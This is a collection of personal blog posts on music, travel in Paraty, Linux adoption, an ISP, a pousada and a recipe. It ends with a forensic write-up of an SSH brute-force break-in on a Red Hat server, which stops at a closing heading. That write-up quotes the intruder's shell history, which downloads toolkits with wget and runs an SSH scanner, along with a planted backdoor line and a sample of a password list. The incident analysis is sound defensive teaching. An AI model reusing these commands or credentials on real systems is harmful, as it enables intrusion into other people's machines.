Nostalgia Titânica

Sabe, as vezes bate uma saudade dos velhos amigos. De épocas bem vividas. Não que os dias de hoje não sejam, mas em outros carnavais nossa mente estava em outra sintonia, que nos fazia levar a vida por caminhos diferentes.

Fico muito feliz quando conheço artistas e suas músicas que tocam minha alma diferente da média que a gente vai ouvindo por aí. Isso acontece poucas vezes por ano. E certos anos simplesmente não acontece.

Titane é uma cantora praticamente desconhecida que me levou para esse mundo da nostalgia. A saudade dos amigos que a gente pouco vê bate mais forte, ao mesmo tempo que rola uma esperança de estarmos mais próximos muito em breve.

Descobri suas músicas por aí, fui conhecendo mais e me encantei. Ela tem trabalhos que são deslumbrantes do começo ao fim. E que voz !

Zensider, de Edvaldo Santana e Ademir Assunção, era tocada às vezes na Rádio USP aqui em São Paulo, mas a Moda do Fim do Mundo, de Alice Ruiz e Chico César, do mesmo album mas jamais ouvida, é prá lá de mais interessante e melódica.

Curtam seus amigos. Agora, antes do fim do mundo.

Idealismo e Evolução

O idealismo está entre as coisas que mais faz o mundo andar para frente, e ao mesmo tempo, posiciona-se como a que mais segura a sua evolução.

O idealismo de mente aberta leva o mundo para frente. E o idealismo hermético, enclausurado, sem visão, fundamentalista, freia a evolução do mundo e da sociedade.

De qualquer forma, o idealismo como característica de personalidade, sempre vem empacotado com outras características, tais como falta de praticidade, um “não consigo terminar o que comecei”, e um altruismo que muitas vezes leva a irredutibilidade e, inevitavelmente, ao fundamentalismo.

Mas a visão mais ampla dos idealistas geralmente serve para inspirar pessoas de mente mais prática, menos cerebral, mais emocional, que pensa menos e faz mais, que enfim impulsionam a roda da história.

O progresso se faz com a mistura de personalidades idealistas (e teóricas) com as de tendência prática. Raros os líderes que tem ambas as características.

Os idealistas que enxergam 1000km no futuro e observam, durante a sua vida, a humanidade caminhar somente uns 2km para frente, devem se dar por satisfeitos. Esses 2km são exatamente o que a humanidade como um todo, hoje, é capaz de caminhar.

A evolução social, moral e benéfica não acontece a passos largos. Aos olhos dos impacientes parece até não acontecer. Mas na verdade nunca para e nunca anda para trás.

A Paradise on Earth

Last weekend we traveled to the Paraty bay area, a place that I visit since I was a kid. But this time was very special because I knew a new paradise: Saco do Mamanguá.

They say there is only one fjord in Brazil, which is the Saco do Mamanguá. To get there we traveled by car to Paraty Mirim, then took any traineira (a small and slow fisherman’s boat) that was siting on the beach waiting for tourists. You don’t have to setup an appointment or pay in advance. Just go. They use to charge R$35 per hour, for any number of persons up to about 10. We did everything in 4 wonderful hours.

Mamanguá is an 8km-long arm of the Atlantic ocean, far enough from Paraty to look as an almost untouched paradise. It has small clear water, isolated beaches, perfects for snorkeling, or simply for relaxing. In addition we were blessed by a beautiful shiny day, thats why I can’t avoid using the “paradise” word all the time.

The whole region deserves a visit, and thats why I’m writing this in english, to inspire non-brazilian folks come visit my beautiful country. But instead of a stream of words I invite you to explore the interactive map below. Click on the markers () to see more information and local photos.

Center of map
map
Saco do Mamanguá
Saco do Mamanguá
map
Paraty Mirim. A small and old village 18km far from Paraty. This is where we met Nelson and his “traineira” to take us to Saco do Mamanguá.
map
A typical building in Paraty
A typical building in Paraty
map
Le GiteFazenda Graúna. Go to Le Gite D’Indaiatiba, a beautiful pousada and restaurant by Olivier and Valerie. This restaurant is very expensive (about R$150 for two, no wine), but very good too. This place is in higher altitudes so in clear sky days you can have lunch contemplating the wonderful ocean down there.
map
TrindadeTrindade and Laranjeiras. Trindade was a small fishermen’s village that turned to be a place that many hippies go nowadays. Larangeiras is a village of very expensive and big cotages.
map
Ilha do Algodão.
map
Exit from main road (Rio-Santos, BR-101) to the road that takes to Paraty Mirim.
map
Fazenda São Roque. There is nothing here, not even a good beach, but this is where I use to stay when I go to this region. No hotels nor pousadas.
map
Thermonuclear power station of Angra dos Reis
Thermonuclear power station of Angra dos Reis.
map
TaritubaTarituba. Used to be a small village and beach where simple fishermen live and work. They still live there, but all their wives opened simple restaurants along the shore and around. Due to the excess of fishermen boats (called “traineiras” in portuguese) this beach is dirty and not apropriate for swiming. Nowadays you may find some nightlife in Tarituba on weekends or holydays.
map
Mambucaba. This is well organized village built for the engineers of the Angra Dos Reis’ thermonuclear power station. It has the most beautiful beach on the region, with clear waters. This place is almost outside the bay so you will find surfists riding the waves. This beach is always full of young people.
map
Ilha do BreuFazenda São Gonçalo. A private farm with a calm beach, good for children, easily accessible only from certain points. You’ll find places to park your car and walk for 3 minutes to the beach. If you want, you can pay R$7 per person to a fisherman and he’ll take you and your family to the Breu (the picture) or Pelado island, right in front of the beach. You will stay on clear water beaches with big stones full of aquatic wildlife. Bring your diving mask and snorkel. There is also a rustic restaurant there, where you can chill out having a caipirinha de maracujá (passion fruit caipirinha) or água de côco (coconut water) with fried fish. Don’t miss their mandioca frita (mandioca is something similar to a potato but only available in Brazil).
map
The Iriri waterfallsCachoeira do Iriri. Coming from Paraty to Rio, right before the São Gonçalo farm complex, there is an almost unaccessible beach that you will see from a hill on the road. A reference is a red and huge cellular antena. On the other side of the road there is a bus stop and a trail into the forest. A 3 minutes walk will take you to a beautiful clear water river with a natural pool and waterfalls. You will see a closed house but you are not transpassing. Just chill out there the whole afternoon after the beach. You can stay under the waterfall to heal your backs. If you feel adventurous, look for a jungle trail right on the side of the pool, going uphill. It will take you to the second floor of rocks, but there is nothing there. Keep on going up until you find the river again on the third floor. Look down and you will see your non-adventurous friends that stood on the first waterfall. Say hello and goodby, because we are not finished. Walk by the river for 3 minutes until you see a huge natural water pool with another waterfall. You’ll be probably alone there. This is a window to paradise. Just don’t miss this point.

Other things to do

  • Walk around in old Paraty area and remember that you are visiting one of the eldest places in Brazil. Enjoy the rich nightlife with live music. The city is always packed by tourists from all parts of the world.
  • Have a light vegetarian meal in the Ganges, close to the famous Pousada do Sandi. Or choose one from the tons of restaurants around. In Paraty you should have seafood.
  • Have an icecream in a place called Sorveterapia. The owner is a sort of researcher in the art of icecream making, and has developed a very light and natural formula to produce it. Very unexpensive too.
  • Going north on the BR-101 road (also known as Rio-Santos) you will find many beaches. The most important ones are marked on the map. Ask also about the big number of waterfalls. Some of them you can see from the road, coming down the mountains big and white. My preferd is Cachoeira do Iriri, hidden but marked on the map.
  • Going south thowards Ubatuba there are some famous beaches too, as Prumirim, Ubatumirim, Almada, Praia Vermelha, etc. But I don’t use to go there very much: the closer you get to Ubatuba, the crowder will be.
  • If you have an off-road car or jeep, leave Paraty to west, towards Cunha, through the old way. There are some more waterfalls on the go, nice handcraft shops, restaurants and amazing tropical landscapes. Cunha is known as home of excellent ceramicists, so look for their studios. Have a meal in the Restaurante Uruguayo.
  • You will see a lot of rain in all that region too, almost every day. This is a bless that you should contemplate quietly. The rain smells absolutely delicious over there.

Segurança em Open Source

Cezar Taurion, excelente consultor e colega de trabalho, engatou seu blog no developerWorks. Gostaria de complementar seu artigo da Linux Magazine de dezembro de 2006 com algumas aspectos sobre segurança.

Não há como afirmar que Open Source é mais seguro que Closed Source, ou que Closed Source é mais seguro que Open Source. Quem o afirma, geralmente faz por religião e não por análise fria.

Considero-me especialista em segurança, mas evito ao máximo tocar neste assunto ao falar com clientes em geral, quando o âmbito é Open Source. Só quando eles perguntam. Simplesmente porque cada um terá uma opinião, e porque nehuma opinião pode ser verdadeiramente constatada.

Vamos dividir o mundo Open Source em dois blocos. No primeiro desfilam as escolas do grupo 1, campeões de audiência como o Apache HTTP Server, Samba, boa parte do Kernel, Bind, OpenSSH, DHCP, Firefox, OpenOffice.org, libc, que são arrasadoramente populares, e literalmente seguram a festa da Internet no ar. A lista não é muito maior que essa.

E no grupo 2 ficam todos os outros projetos Open Source, disputando um lugar ao sol e na passarela das distribuições Linux. Aqui estão as dezenas de milhares de projetos abandonados do SourceForge.net, e também projetos longe da criticidade das do grupo 1, mas já um pouco mais usados, como Gnome, KDE, X.org, a outra parte do Kernel, OpenLDAP, NAS, VNC, ImageMagick, Bash, Gimp, Kopete, Gaim, libc++, libxml, ntp, e mais todo o resto que não aparece no grupo 1 mas que está instalado aí no seu computador.

Enquanto pensamos que no closed source podem haver pontos inacessivelmente inseguros e backdoors, devemos também nos perguntar se há realmente pessoas analisando todo Open Source que interessa, com enfoque em segurança. Pense no grupo 2.

Sobre segurança em Open Source, a única coisa que podemos afirmar é que o código se mantém aberto para quem quiser auditá-lo (característica que o closed source não tem e nem quer ter). Mas novamente, isso não é garantia de que suas falhas serão achadas.

No grupo 1, dos superpopulares, a estória é outra. Eles são naturalmente submetidos a stress massivo e constante do mundo real. E a dependência que muitas empresas e indivíduos tem desse grupo os leva a se relacionar de forma simbiótica com sua evolução. Usam o fato de ter o fonte disponível para auditar e contribuir melhorias.

A separação entre os grupos não é tão nítida. Usei só para ilustrar. A fronteira é na verdade uma larga faixa de projetos Open Source com diferentes graduações de popularidade, stress e uso.

É preciso ter a soma de dois aspectos para se ter a melhor segurança: código fonte aberto + extrema popularidade, sendo o último mais importante (e mais difícil de alcançar) que o primeiro.

Um closed source também tem sua chance de ser seguro. Basta a empresa que o fabrica cuidar bem de seu produto. Se ele for popular, ela tende a cobrar menos para executar este trabalho. Se for menos popular, mas ainda desejado pelos clientes, seu preço tende a ser mais alto.

O nabo é dos NETs

Complementando a estória do Antônio “LedStyle” Cláudio, eu tenho NET de 200kbps em Higienópolis. É tão bom quanto 200kpbs conseguem ser.

Mas quero aumentar a velocidade, e depoimentos como o dele dão medo. O pior de tudo é o atendimento péssimo das centrais dessas prestadoras. E o serviço é bem caro, mas vamos dizer que atribuo isso ao fato de que custo de banda core no Brasil é caríssimo.

Diga-se de passagem, meu pai colocou 2mbps em casa, com NET Fone. Ele fez uma análise meticulosa das tarifas de ligação telefônica comparando outras operadoras, e disse que o preço do minuto NET é bem mais caro. A NET diz que é mais barato. Bem, isso é uma meia verdade, somente em alguns horários, para ligações locais muito curtas. Como diz o ditado, uma meia verdade é uma mentira.

Antes eu tinha o Giro, da Vesper/Embratel. 300kbps de baixa qualidade que vinham através de um modem sem fio que usava a infraestrutura CDMA da Vesper, e era conectado por USB no computador, e tinha suporte ruim para Linux.

Por ironia do destino, o atendimento telefônico do Giro da Vesper era ótimo. Atendentes sinceros, com bom conhecimento técnico e que retornavam ligações depois de fazer análises bem feitas. Fiz questão de registrar isso quando infelizmente cancelei o serviço porque sua tecnologia não me atendia.

OSDL Linux Client Survey Analysis is Out

On January 25th the OSDL released their 2006 Linux client survey analysis, which identified the following barriers for Linux deployment on desktops:

  1. Application availability
  2. Quality of peripheral support
  3. End user training
  4. Desktop management issue

It is not that applications don’t exist for the Linux desktop, but users grow accustomed to certain applications that they just can’t live without.

Users report they are missing applications as Microsoft Office (OpenOffice.org is the alternative), Adobe Photoshop (which has The Gimp as the closest, but still far alternative), AutoCAD (with QCad as a very far similar) and others.

For peripherals, this is the list:

  1. Printers
  2. Personal storage devices (i.e. USB memory)
  3. Scanners
  4. Digital cameras
  5. Mail and messaging devices
  6. Web cam / video
  7. Smartphones

However, it is still difficult to buy a printer at your local electronics store and expect it to work out of the box on a Linux machine. While most printers are supported on Linux, there is still a lag from the time when a printer hits the market to when the driver driver is available and automatically installed on your computer by a commercial distro update.

And as a Linux user, I must add that when the device works, it usually won’t work with its full set of capabilities, because drivers are usually written by third parties on the OSS world – and not by their manufacturers, which are expected to have a much deeper knowledge (and project commitment) on these hardware capabilities.

So the problem is a committed application and drivers development. Well, how can companies commit themselves to develop desktop software (which means friendly to non-technicall users) in a world that had not decided yet about some elementary standards? Yes, there is the FreeDesktop.org initiative but the standards they are focused on are more related to KDE-Gnome interoperability.

Most important standards that must be defined will find their home in a layer bellow: LSB. But unfortunately, the Linux Standard Base still has a big job to finish and still seems to have difficulties to catch up with ISVs.

As an example, there is no de facto standard defined for things as trivial as a configuration files format for the whole system, not only for desktop apps. This is particularly important because configurations are what makes software run in a specific way. They are the soul of any software (while code is the body). A popular standard for configurations will provide ways for any software to collaborate with, and auto-configure any other software. On Windows, this was successfully achieved with its registry. On Linux, similar but broader and better alternatives exist (as the Elektra Initiative), but this is a subject that seems to not inspire the OSS community.

Standards bodies can’t do everything alone. The community must be ready for changes, adaptations, and have courage to throw away code that was not choosed by the standard, and start focusing on what was selected to be part of it. Courage to stop reinventing the wheel. For example, on a vanilla KDE installation you will find about 4 different media players (Amarok, Juk, kboodle, noatun, etc) and 3 different plain editors (kate, kedit, kwriter). If you have Gnome installed on same system, add a few more to each class of applications (and to the icons that will appear on your menus). This is confusing, fat and bad.

Another important fact on the analysis is a 49% desktop share for Canonical’s Ubuntu Linux, against RHEL and SLED with 16% each. RHEL and SuSE are more popular on servers and are essentially and structurally different distributions, but both use RPM as their packaging system. While Ubuntu is radically different from both, based on Debian, with the DEB format for packages. A well known and well used packaging system is very important on a desktop world, because this is what guarantees an easy, painless software installations and upgrades. So if I am an ISV with limited technicall staff and time resources, how should I package my software for easy deployment? DEB or RPM? If RPM, should I focus on Red Hat or SuSE flavors? Though questions.

Application vendors cannot afford to develop, distribute, and support applications across a fragmented Linux market.

Red Hat and Novell should look at their future server market, paying attention on what is happening today on the desktop. History shows that people tend to bring to work (and to servers) what they like and use on their desktops at home. This is Ubuntu’s long term strategy and they seem to be succeeding, at least on their first phase.

Ponto de Luz

Queda d'água na pousadaDias atrás tirei umas férias curtas e resolvi conhecer o legendário Ponto de Luz, pousada zen na Serra da Mantiqueira, quase divisa entre São Paulo e Minas.

A viagem foi fácil, pela Rodovia Fernão Dias. Depois, uma bela estrada até Joanópolis e depois uns 19km de estrada de terra até a pousada. Este último trecho tem belas paisagens rurais de colinas, pomares e criação de gado. Há bastente gente morando ao longo da estrada. Havia muitas bifurcações e encruzilhadas, sempre sinalizadas com o caminho a se tomar para chegar a pousada. Saí às 11:00 de São Paulo e cheguei umas 13:30, prontinho para almoçar.

A pousada é propositadamente rústica-chique, como tantas outras por alí, em São Francisco Xavier, Gonçalves, Monteiro Lobato, etc. Como a região é montanhosa, é também cheia de rios, e a propriedade era cortada pelo Ribeirão da Vergem Escura (afluente da bacia do Rio Piracicaba) cujas pedras formavam um grande poço que convidava para um banho. Nos dias em que estive lá, a água estava um pouco barrenta por causa das chuvas, mas em outras épocas o rio tem águas cristalinas. Há um belo caminho aberto até o rio, e perto da margem colocaram uns assentos que serviam para nada além da pura contemplação da natureza.

Centro do Mapa
no mapa
Hotel Ponto de Luz

(interaja com o mapa)

Rede na varanda do quartoA grande sacada do arquiteto foi construir a pousada na encosta do morro. Isso funcionava bem para dar vista alta, de qualquer ponto da pousada, para o outro lado do rio e para colinas verdejantes e arborizadas. Inclusive do refeitório e da varanda dos quartos com sua rede de balanço.

E falando nisso, a comida era bem simples mas muito gostosa, essencialmente vegetariana, às vezes com uma opção de frango ou peixe. Sempre havia sobremesas dietéticas. O serviço era ótimo, atencioso, e a inclinação exotérica da pousada parecia plantar uma consciência holística nos funcionários.

Só o preço foi na minha opinião um pouco além da conta. R$204 pela diária, incluindo as 3 refeições mais o lanche da tarde. Por pessoa. Estou acostumado a viajar pela região e sei que os preços não são bem esses. Mas calculei que no valor há uma boa lapa de moda de turismo exotérico. Aí fiquei surpreso que no final ainda me convidaram a pagar 10% de taxa de serviço opcional que é dividida entre os funcionários no final do mês. Argumentei que a pousada como um todo já era um serviço, e que não fazia sentido uma taxa de serviço sobre um serviço que por sinal já estava bem pago. Acabei sucumbindo porque continuar a discussão ia ser constrangedor para a situação. Terminou mal explicado.

Havia uma agenda de atividades diárias, com caminhada leve de manhã, algum tipo de hidroginástica antes do almoço e meditação no fim do dia, logo depois do lanche da tarde. Experimentei lá, pela primeira vez, a meditação dinâmica, especialmente desenhada para pessoas estressadas da cidade grande, como eu. Bem legal. Mas, como toda meditação, exige disciplina para se fazer todos os dias. No segundo dia meditamos num pequeno templo charmoso, construido a toque de caixa para a visita de um guru indiano.

TerapiasDepois da meditação dava um pulo na piscina aquecida onde ficava de molho até a noite. O clima não estava convidativo para a piscina aberta e fria. O resto do tempo passava na rede da varanda do quarto, lendo, ouvindo música e observando as colinas tranqüilamente. Ou dava uma olhada na lojinha anexa, cheia de coisas no melhor estilo “além-da-lenda” (a coleção de CDs para vender era ótima, e levei alguns títulos). Ou ainda pode-se fazer uma das terapias e massagens disponíveis em seu cardápio de serviços, cobrados a parte, claro. Nos finais de semana parece que há palestras e atividades musicais, mas infelizmente não pude ficar para ver.

O pessoal da pousada conta que há hóspedes que reclamam que não há “nada” para fazer lá, nem telefone, nem TV, e acabam fugindo de volta para sua cidade agitada.

Bem, eu não sofro desse mal e ficaria lá pelo tempo que fosse, porque o Ponto de Luz é um lugar de paz contemplativa.

Receita de Quiabo Atomatado

Quiabos

Ingredientes

  • ½ kilo de quiabo, de preferência os menores
  • 2 latas de tomates inteiros despelados
  • ½ cebola picada
  • Azeite extra virgem
  • 2 pitadas de páprica picante (opcional)
  • Adoçante ou açucar
  • Sal a gosto

Modo de Preparo

  1. Limpe os quiabos removendo com uma faca a parte externa escura da circunferência de sua cabeça, mas não remova a cabeça inteira. Lave e deixe escorrer.
  2. Pique um pouco os tomates mas deixe pedaços para contarem a história.
  3. Refogue a cebola em um pouco de azeite e acrescente o purê de tomate.
  4. Adicione o quiabo, cortando os maiores no meio já sobre a panela.
  5. Adicione sal a gosto, a páprica picante, e umas 10 gotas de adoçante ou o equivalente em açucar.
  6. Adicione 2 dedos de água e misture bem. Cozinhe em fogo baixo, com a panela tampada por 15 minutos.
  7. Destampe, continue mexendo com fogo baixo por mais uns 15 minutos, até o tomate reduzir (secar) ao ponto de não sobrar molho mas só pedaços molhados de tomate.

A páprica picante combina muito bem com o leve sabor adocicado fortalecido pelo tomate. E o quiabo…. ah, o quiabo….

Sirva frio ou quente.

Na Trilha do Invasor

Qualquer administrador de firewall pode observar em seus registros que uma máquina conectada à Internet não fica um minuto sequer, 24 horas por dia, livre de tentativas de invasão. Tem sempre alguém fazendo uma varredura, tentando algum tipo estranho de conexão, requisitando URLs inseguras aos servidores web, enfim, batendo na porta. Parece que as pessoas têm se protegido bem já que não lembro de ter ouvido histórias detalhadas sobre um ataque efetivamente acontecendo.

Tive a oportunidade de analisar um computador que foi invadido e vou relatar aqui as evidências que os crackers deixaram para trás, como as descobrimos, e o que lhes interessava naquela máquina. Vou usar nomes fictícios e mascarar alguns IPs para resguardar a privacidade de todos.

Vamos chamar os invasores de crackers, porque hackers somos todos nós que respiramos tecnologia, “fuçadores” (tradução da palavra hacker), exploradores, pessoas curiosas. Somos todos hackers porque usamos nossas mentes poderosas para resolver problemas, ganhar dinheiro licitamente, enfim, fazer o bem. Um cracker por outro lado, usa seu conhecimento para invadir, deteriorar, tirar vantagem, e dar trabalho aos hackers administradores de redes. Um cracker é um mau hacker, e um bom hacker pode impedir a ação de um cracker.

Os Rastros Deixados pelo Cracker

O servidor em questão era uma máquina de testes internos na empresa A, que em determinado momento foi deslocada para um novo teste conectada à Internet, sem uma reinstalação. Tudo começou quando, poucas semanas após estar conectada à Internet, uma empresa que chamaremos de B, enviou um e-mail para P (provedor do link físico para a máquina atacada) informando que detectou uma tentativa de ataque, e requisitou um retorno. P encaminhou o e-mail para A, e esse continha alguns logs com a prova da tentativa de invasão:

Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:26:27 sshd[PID]: refused connect from  IP.IP.IP.IP

Eles mostravam que o IDS (Intrusion Detection System) de B acusou que a máquina atacada (cujo endereço IP está representado por IP.IP.IP.IP) tentou se logar várias vezes sem sucesso em seu serviço SSH (sshd). Reparem que o instante de todas as tentativas, até os segundos, é o mesmo, o que leva a crer que não é um ser humano, e sim algum software que muito rapidamente está testando várias combinações de usuário e senha ao mesmo tempo.

Histórico do Ataque

Fui chamado para dar explicações porque havia fornecido informalmente por telefone algumas dicas de como proteger a máquina. Primeiramente, era necessário dar subsídios ao provedor P para responder ao e-mail de B, dando uma satisfação formal. Isso é uma atitude de responsabilidade de um bom administrador de rede, e demonstra a preocupação em manter o nível de serviço da Internet o mais alto possível.

A máquina foi colocada em quarentena, desligada da Internet e começamos a analisá-la. Tratava-se de um Red Hat Enterprise Linux 3 Update 5. Não estou dizendo que o Red Hat Linux é menos ou mais seguro. Isso não é muito intuitivo de se entender, mas segurança não tem quase nada a ver com o software. Segurança não é um firewall, não é criptografia, nem um conjunto de produtos que tem proteção como objetivo. Segurança é um processo que deve ser seguido conscientemente por administradores de redes. Se um ataque acontece, toda a responsabilidade é do administrador, e não do sistema operacional, seja ele qual for, e do fabricante que for. O administrador precisava agora descobrir como o cracker invadiu para, corajosamente, assumir a falha e não permitir que isso aconteça novamente.

Logo no boot da máquina observamos consecutivas mensagens estranhas que não deviam estar lá e que continham o texto “(swap)”. Começamos a analisar o processo de inicialização do sistema, a partir do arquivo /etc/inittab. Vimos que um dos primeiros scripts que são executados no sistema é o /etc/init.d/functions e fizemos os seguintes testes:

bash$ rpm -qf /etc/init.d/functions
initscripts-7.93.20.EL
bash$ rpm -V initscripts
S.5....T c /etc/rc.d/init.d/functions

Verificamos que este arquivo faz parte (rpm -qf) do pacote initscripts, e em seguida testamos sua integridade (rpm -V). Descobrimos que o arquivo foi alterado: o número 5 significa que o MD5 do arquivo mudou, ou, em outras palavras, que o conteúdo do arquivo mudou. O RPM sabe disso comparando o MD5 do arquivo atual no disco, com o MD5 registrado em seu banco de dados no momento da instalação do pacote.

Mas o que foi alterado no script functions ?

A última linha do script era esta:

/usr/bin/crontabs -t1 -X53 -p

Suspeitamos imediatamente porque o comando crontab não se chama “crontabs”. Confirmamos novamente com o RPM:

bash$ rpm -qf /usr/bin/crontabs
o ficheiro /usr/bin/crontabs não pertence a nenhum pacote

Pronto. Estava constatado que esse tal comando crontabs era alienígena e não deveria estar ali. Foi, com certeza, implantado pelo cracker. Mas não paramos aqui. Queríamos saber o que este programa fazia. Como era um binário, tentamos extrair algumas strings dele:

bash$ strings /usr/bin/crontabs
[...]
"smbd -D"
"(swapd)" &
[...]

Ou seja, era este tal crontabs que mandava para a tela as mensagens com a string “(swap)”. Mas descobrimos outra coisa: o alienígena continha também a string “smbd -D”, que se parece com o nome do serviço do Samba. Nem perdemos tempo usando os comandos ps e top para verificar se um processo chamado smbd estava rodando porque usamos os mesmos rpm -qf e rpm -V para constatar que estes programas também foram modificados pelo cracker. Usamos o utilitário gráfico ksysguard (que não foi modificado) do KDE e pudemos observar um tal processo smbd -D rodando. Chamou a atenção que o ksysguard mostrava todos os processos executando sem seus parâmetros, e somente o smbd apresentava um parâmetro. Não tardou a acharmos um arquivo chamado “/usr/bin/smbd -D” (com espaço e parâmetro mesmo), e o RPM novamente nos informou que ele não fazia parte de nenhum pacote. Tratava-se de outro programa do cracker. Fomos lá tentar extrair mais algumas informações sobre este programa:

bash$ strings “/usr/bin/smbd -D"
[...]
Received SIGHUP; restarting.
Generating new %d bit RSA key.
RSA key generation complete.
   -b bits    Size of server RSA key (default: 768 bits)
By-ICE_4_All ( Hackers Not Allowed! )
SSH-%d.%d-%.50s
This server does not support your new ssh version.
Sent %d bit public key and %d bit host key.
sshd version %.100s [%.100s]
[...]

Omitimos diversas linhas para ser mais didático. A linha vermelha eliminou qualquer dúvida se um cracker havia visitado a máquina ou não. Mas o mais interessante são as linhas azuis, que levaram a crer que o famigerado programa smbd -D era um servidor SSH. O cracker deveria querer isso para manter um backdoor aberto, e poder logar com SSH quando quisesse. Em /var/log/messages encontramos a evidência final:

Feb  19 19:24:49 localhost smbd -D: RSA1 key generation succeeded
Feb  19 19:24:50 localhost smbd -D: RSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D: DSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D:  succeeded

Essas são mensagens típicas de um daemon SSH sendo executado pela primeira vez, quando cria suas chaves únicas de criptografia, só que bizarramente emitidas por um suposto programa com nome de Samba, o que não faz sentido algum e é forte indício que há algo errado no sistema. Ou seja, o cracker implantou um backdoor SSH, porém com um nome mascarado para seu arquivo e processo (smbd). A partir desses registros pudemos também estimar a data em que a máquina foi atacada: 19 de fevereiro.

Para o cracker poder alterar arquivos e comandos tão importantes do sistema, ele deve ter conseguido acesso de root, e por isso fomos espiar o histórico de comandos executados por este usuário no arquivo /root/.bash_history, e vimos isto:

bash# less /root/.bash_history
[...]
cd /usr/share/.a
wget lamisto.octopis.com/mig.tgz
tar xzvf mig.tgz
./mig g-u root -n 0
./mig -u root -n 0
cd /usr/share/.a
wget utilservices.iasi.rdsnet.ro/~marianu/flo.tgz
tar xzvf flo.tgz...linhas omitidas...
cd /var/tmp
wget djanda.com/get/usr.tar.gz
wget djanda.com/get/x.tar.gz
tar xfvz usr.tar.gz
cd usr
chmod +rwxrwxrwx *
./crond
cd ..
tar xfvz x.tar.gz
cd x
chmod +rwxrwxrwx *
mv unix x
./x 201.20; ./x 201.21; ./x 201.22; ./x 201.23; ./x 201.24; ./x 201.25; ./x 201. 26; ./x 201.27; ./x 201.28; ./x 201.29; ./x 201.30; ./x 201.31; ./x 201.32; ./x 201.33; ./x 201.34; ./x 201.35; ./x 201.36; ./x 201.37; ./x 201.38; ./x 201.39; ./x 201.40; ./x 201.41; ./x 201.42; ./x 201.43; ./x 201.44; ./x 201.45; ./x 201. 46; ./x 201.47; ./x 201.48; ./x 201.49; ./x 201.50
[...]
/usr/sbin/adduser scanning

O formato do arquivo não permite saber quando esses comandos foram executados, mas fica evidente que o cracker criou um usuário chamado scanning, baixou arquivos de certos sites, abriu-os e executou comandos que vieram com eles. Analisamos cada um, e descobrimos que:

  • No diretório /usr/share/.a ele instalou e executou o tal comando mig que aparentemente é um limpador de histórico de login do sistema. Usamos o mesmo comando strings para analisar esse binário. Isso confirmou nossa estimativa da data de ataque pois o comando last (usado para verificar esse histórico) apontou dados inconsistentes por volta de 19 de fevereiro.
  • Em /var/tmp foi baixado um tal usr.tar.gz, que aparentemente é um bot de IRC. Mais tarde, com os mesmos comandos do RPM, descobrimos que o comando /bin/netstat também foi alterado, provavelmente para esconder as conexões deste bot a diversos servidores de IRC na porta padrão 6667, o que constatamos com o ksysguard. Adiante explicaremos o que um cracker faz com isso.

Mas o mais interessante foi o x.tar.gz baixado. Continha dois executáveis chamados find e take, o script chamado simplesmente de x, e um arquivo muito especial de nome code.conf. Lendo o simplíssimo script x, vendo no histórico como ele era executado muitas vezes, e usando a intuição, ficou claro que o comando find varria faixas IP inteiras em busca de portas 22 (SSH) abertas. Os hosts encontrados eram então passados para o comando take, que se encarregava de usar as 18459 combinações de usuário e senha disponíveis no arquivo code.conf para tentar se logar nas máquinas encontradas. Um login bem sucedido tinha o IP, usuário e senha registrados num arquivo que indicaria ao cracker as próximas máquinas a invadir. E sim, este arquivo já tinha uma lista de hosts e respectivas senhas em que essas ferramentas conseguiram penetrar.

Foi exatamente esse procedimento de login por força bruta que foi detectado pelo IDS da empresa B, quando o servidor deles tentou ser invadido sem sucesso.

Quando chegamos a isso, ainda não estava claro como a máquina de A foi invadida. Estava checando se e como os administradores da máquina seguiram meus conselhos informais de segurança, verificando as regras de iptables, serviços ativos, etc. Parecia tudo correto, ou não alarmantemente errado. Foi quando demos uma olhada com mais atenção no conteúdo do code.conf e entre suas mais de 18 mil linhas encontramos estas:

root passw0rd
root pa55word
root pa55w0rd
sapdb sapdb
apache apache
apache 123456
apache2 apache
apache2 apache2
apache2 apache123

Enquanto varríamos o arquivo com os olhos, de repente o administrador da máquina colocou a mão na testa, e com voz de lamento nos contou que a senha de root era a manjadíssima passw0rd (com um algarismo zero no lugar da letra ‘o’)! O serviço SSH estava aberto e permitia login do root pela rede. Aquela máquina também tinha sido vítima do scan do cracker, e foi assim que ele entrou e ganhou poder total.

Eu conhecia várias máquinas formais e informais que implementaram aquele mesmo esquema de segurança que foi sugerido, estavam anos conectadas à Internet, e nunca sofreram ataques. Mas uma simples senha conhecida, bem típica de ambientes de testes onde várias pessoas compartilham acessos similares e informais às máquinas, foi o calcanhar de Aquiles da pilha de segurança. Isso confirma que ataques bem sucedidos são sempre responsabilidade do administrador, e nunca do software de segurança em especial.

A Reinstalação da Máquina

Depois de um ataque como esse, e depois do relatório conclusivo, a melhor coisa é limpar completamente o disco e partir para uma reinstalação completa. Desta vez acompanhei de perto a instalação, e seguimos algumas regras simples de segurança:

  • Só instalamos pacotes que sabíamos que seriam usados. Descartamos completamente a idéia de fazer uma instalação completa.
  • Depois de instalado, desligamos alguns serviços que sabíamos que não seriam usados, como NIS, Samba, Portmap, NFS. E se possível os desinstalávamos.
  • Criamos regras para o iptables fechando praticamente tudo menos as portas 80 (HTTP) e 443 (HTTPS).
  • Requisitamos ao provedor do link P que configurasse regras semelhante em seu roteador, formando um firewall duplo.
  • Por via das dúvidas, desabilitamos o acesso por SSH ao root, obrigando o administrador a se logar com um usuário qualquer e depois ganhar privilégios com o comando su. Isso funciona como uma restrição dupla para administrar a máquina.
  • E dessa vez foram usadas senhas decentes, bem difíceis, com letras, números, e que não eram derivadas de palavras óbvias.
  • As senhas só foram informadas verbalmente para poucas pessoas. Evitamos passar por e-mail.

Por que o Cracker Ataca ?

